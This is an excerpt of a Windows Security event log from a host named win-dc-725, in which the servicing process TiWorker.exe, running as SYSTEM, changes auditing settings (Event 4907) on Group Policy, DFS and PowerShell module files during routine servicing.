	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247859
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\DfsfrsHost.exe.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247858
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\NTFRSPRF.dll
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247857
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\ntdsperf.dll
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247856
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gptedit.msc
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247855
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\GPRSoP.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247854
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\GPOAdminCustom.dll
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247853
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\GPOAdminCommon.dll
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247852
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\GPOAdmin.dll
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247851
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gpmgmt.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247850
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gpme.msc
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247849
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gpme.dll
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247848
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gpmc.msc
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247847
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dfsrPropagationReport.xsl
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247846
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\DfsrHelper.dll
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247845
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dfsrHealthReport.xsl
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247844
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\DfsRes.dll
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247843
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dfsfrsHost.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247842
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.psd1
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247841
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.format.ps1xml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247840
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceserverconfig.types.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247839
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceServerConfig.format.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247838
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceServerConfig\DfsNamespaceserverconfig.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247837
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.types.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247836
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.format.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247835
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceRootTarget\DfsNamespaceRootTarget.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247834
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.types.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247833
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.format.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247832
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolderTarget\DfsNamespaceFolderTarget.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247831
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.types.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247830
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.format.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247829
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceFolder\DfsNamespaceFolder.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247828
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
